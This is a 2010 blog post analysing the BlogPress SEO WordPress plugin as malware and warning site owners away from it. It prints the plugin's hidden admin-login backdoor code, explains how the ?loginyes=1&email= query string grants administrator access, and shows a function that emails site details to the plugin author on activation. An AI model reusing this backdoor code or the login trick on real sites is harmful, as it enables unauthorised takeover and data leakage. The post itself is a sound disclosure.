mtekk's Crib
Blog > Enemy of the Spammers > BlogPress SEO is Malware
November 12th, 2010

BlogPress SEO is Malware

Posted by John Havlik

As with most scamming attempts, it all started with an email—which I ignored when I received it on Wednesday. It made claims of terrific SEO improvements using backlinks—yeah right. I do not use SEO enhancement plugins (other than Google XML sitemaps), and never plan on doing so. Anyways, the sender’s name as Saurabh, and his message was as follows:

Hello, My name is Saurabh, and I am here to offer you a unique wordpress plugin which will get you 100′s of backlinks like crazy. The plugin is 100% free and I can also offer installation help. http://BlogPressSEO.com Why backlinks are important for getting traffic. http://BlogPressSEO.com/#1 This is how the plugin works http://BlogPressSEO.com/#2 Thanks


Well, even though I was not going to install the plugin, the engineer in me wanted to investigate the code. So, I downloaded it, and did not like what I saw. Not only are there malicious components, there are several stylistic issues, and the plugin author did not follow some of the WordPress plugin best practices. A short list of stylistic issues:

  • Did not use a unique prefix to functions to work avoid function name collisions. Function names such as: fun_serverpath, SureRemoveDir, fun_create_menu_wplink wplink_activate, cleansee, etc. While is looks like fun_ is the unique prefix the author is using, fun is too common of a word for a prefix and is used to denote a quantity is a function in some programming styles. Plus there is a ton of inconsistency between function names.
  • Saves it’s settings across several options entries. While this is no longer a great performance issue, thanks to autoloading, it still clutters the wp_options table and does slow down every page load by a little bit. At least the author seems to use hwe_ as the option prefix for most of the options it creates, too bad this was not done for the functions.
  • Performs manual sql queries, not using the $wpdb object.

Analysis of the code is a little frightening. Look at this block of code:

	//if loginyes and emial then login
if($loginyes==1  && $email==get_option('admin_email'))
{
	global $wpdb;
	$tabname=$wpdb->prefix."users";
	$find_admin_sql="select * from $tabname where user_login='admin'";
	$find_sql=mysql_query($find_admin_sql);
	$user_numrow=mysql_num_rows($find_sql);
	if($user_numrow!=0)
	{
		$user_login='admin';
	}
	if($user_numrow==0)
	{
		$find_ana_admin_sql="select * from $tabname";
		$find_sql_res=mysql_query($find_ana_admin_sql);
		while($row_find=mysql_fetch_array($find_sql_res))
		{
			$userid=$row_find['ID'];
			$user_login_find=$row_find['user_login'];
			$level=get_usermeta( $userid,'wp_user_level');
			if($level==10)
			{
				$user_login=$user_login_find;
				break;
			}
		}
	}
	$user=new WP_User(0, $user_login);
	$user_pass = md5($user->user_pass);
	wp_login($user_login, $user_pass, true);
	wp_setcookie($user_login, $user_pass, true);
	wp_set_current_user($user_id, $user_login);
	$radirect=get_option('home')."/wp-admin";
	echo "<script language='javascript'>";
	echo "location.replace('$radirect')";
	echo "</script>";
}

Well, looks like a backdoor, right? Knowing that $loginyes and $email are set using get superglobals is even more worrying. Just append ?loginyes=1&email= to any url on a site running this script will get you in, all you need to know is the email address of the admin. Now, who would have that information?

function email_send_fun()
{
	$headers="From:".get_option('admin_email')."\n";
	$headers.="Reply-to:".get_option('admin_email')."\n";
	$sub="BlogPressSeo new installation.";
	$mes=get_option('siteurl');
	$to="info@blogpressseo.com";
	mail($to,$sub,$mes,$headers);
	$hwe_blogidd=get_option("hwe_blogid");

	update_option("hwe_saveradio_option",3);
	update_option("hwe_linkplacement",3);

	if($hwe_blogidd)
	{
		wplink_activate();
	}
}

Oh, right, that would be whoever reads info@blogpressseo.com. This is the malicious function Joost de Valk found and reported in his post BlogPress SEO Plugin: Spam!. This function runs every time the plugin is activated.

If you have installed this plugin, delete it immediately. Then, change your admin email address (under Settings > General, look for the option E-mail address). You’ll have to manually clean up your wp_options table as the author did not provide an uninstall method.

Update: You may want to read the next post on this topic, “BlogPress SEO Aftermath“.

-John Havlik

[end of transmission, stay tuned]

Tagged: , , ,

Trackbacks/Pingbacks

  1. Top Motion | Internet Marketing blog » BlogPress SEO is Malware | Mtekk's Crib
  2. PostRoast.com | Blog | BlogPress SEO is Malware | Mtekk's Crib
  3. BlogPress SEO is Malware | Mtekk's Crib | SEO News & Views
  4. BlogPress SEO plugin isn’t just bad, it’s malware [TNW Social Media] | Newsroom News
  5. BlogPress SEO plugin isn’t just bad, it’s malware
  6. BlogPress SEO plugin isn’t just bad, it’s malware – ArticlesInbox
  7. BlogPress SEO is Malware | Mtekk's Crib
  8. BlogPress SEO plugin isn’t just bad, it’s malware | Services For Seo
  9. Varning för BlogPress SEO
  10. BlogPress SEO plugin isn’t just bad, it’s malware [TNW Social Media] : My Tech Zero
  11. MY IDC » BlogPress SEO is Malware | Mtekk's Crib
  12. Beware of BlogPressSEO – Malware in plugin | Web Design
  13. El plugin BlogPress SEO es malware, no lo instalen
  14. BlogPress SEO Plugin is Malware http://mtekk.us/archives/enemy-of-the-spammers/blogpress-seo-malware/ | valent on twitter
  15. BlogPress SEO: solved - Yoast
  16. El plugin BlogPress SEO es malware, no lo instalen | Tuiter.com
  17. Yoast: BlogPress SEO: solved | SEOBlog
  18. === popurls.com === popular today
  19. BlogPress SEO plugin isn’t just bad, it’s malware [TNW Social Media] | MarketingTypo.com
  20. Yoast: BlogPress SEO: solved - Furlogy.com
  21. BlogPress SEO sadece kötü bir eklenti değil, kötü amaçlı bir yazılım. | Bloghaber.com | Webmaster haber blogu
  22. Is That Wordpress Plugin Update Really MALWARE Instead? How to check. | Barbara Ling, Your Outrageous Virtual Coach
  23. BlogPress SEO plugin isn’t just bad, it’s malware [TNW Social Media] | Technablogroll
  24. Yoast: BlogPress SEO: solved | Programming Blog
  25. wp-popular.com » Blog Archive » BlogPress SEO is Malware | Mtekk’s Crib
  26. No instalen el plugin BlogPress SEO, es malware
  27. InfoSec Daily » Episode 258 – SEO, Katana, Early Warning System & Client Site Security
  28. BlogPress SEO is at it Again | Mtekk's Crib
  29. El plugin BlogPress SEO es malware | Guia Wordpress
  30. Yoast: BlogPress SEO: solved | Affaholic.com
  31. BlogPress SEO: Blatant Spam, Malicious Code « Wordpress Consultant
  32. All about a Babi Italia Crib
  33. BlogPress SEO is in Defence Mode | Mtekk's Crib
  34. Yoast: BlogPress SEO: solved | Brisbane Advertising Agency
  35. El plugin BlogPress SEO es malware, no lo instalen | Ruben2.com
  36. A Paused Episode 462 | The CaffiNation Podcast
  37. BlogPress SEO One Week | Mtekk's Crib
  38. BlogPress SEO is Malware | Mtekk’s Crib | Internet Marketing NY | SMO NY | Search Engine Optimization
  39. BlogPress SEO is Malware | Mtekk's Crib | HNL HIP HOP
  40. WordPress Security 101: 8 Tips, Tricks and Tweaks to Secure Your WordPress Website - WordPress, Multisite and BuddyPress plugins, themes, news and help – WPMU.org
  41. BlogPress SEO plugin isn’t just bad, it’s malware | Computer Technology
  42. BlogPress SEO: solved | Programming Blog
  43. BlogPress SEO: solved | Affaholic.com
  44. Security Tips for your Wordpress Blog | kimtown Studios - Waynesboro, PA Web Design, Boutique & Photography
  45. SEO + wordpress themes = shenanigans! | MetaFilter :Seo Information Search
  46. The WordPress.org Commit Breakin – Evil Code | mtekk's Crib
  47. El plugin BlogPress SEO es malware | Webmasters Actualidad Tecnologia
  48. BlogPress SEO: A Year Later | mtekk's Crib
  49. Google +1 Click Jacking | mtekk's Crib

25 Responses to “BlogPress SEO is Malware”

Leave a Reply

You may use these (x)HTML tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Powered By WordPress 3.3.2 and Cran-Berry 2.

39 queries. 0.496 seconds. Entries (RSS) | Comments (RSS)